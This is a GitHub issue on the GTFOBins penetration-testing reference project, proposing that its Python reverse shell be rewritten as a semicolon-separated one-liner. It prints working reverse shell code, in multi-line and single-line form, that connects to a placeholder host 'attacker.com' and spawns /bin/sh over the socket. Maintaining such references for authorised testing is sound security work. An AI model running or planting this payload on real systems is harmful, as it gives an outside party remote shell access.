GTFOBins.github.io icon indicating copy to clipboard operation
GTFOBins.github.io copied to clipboard

[enhancement] Add `;` to python reverse shell

Open TypicalUsername-ai opened this issue 4 months ago • 0 comments

Hey i was attempting to use the reverse shell from python against a test box and encountered some errors due to not parsing newlines. Would it be viable to modify the reverse shell bin so it includes ; after every command so it can execute always in one line? If so i would be happy to open a PR.

example:

export RHOST=attacker.com
export RPORT=12345
python -c 'import sys,socket,os,pty;s=socket.socket()
s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")'

this will break on oneline execution like a single command invocation

python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

this can be executed in oneline even with \n pruning

TypicalUsername-ai avatar Jun 08 '25 16:06 TypicalUsername-ai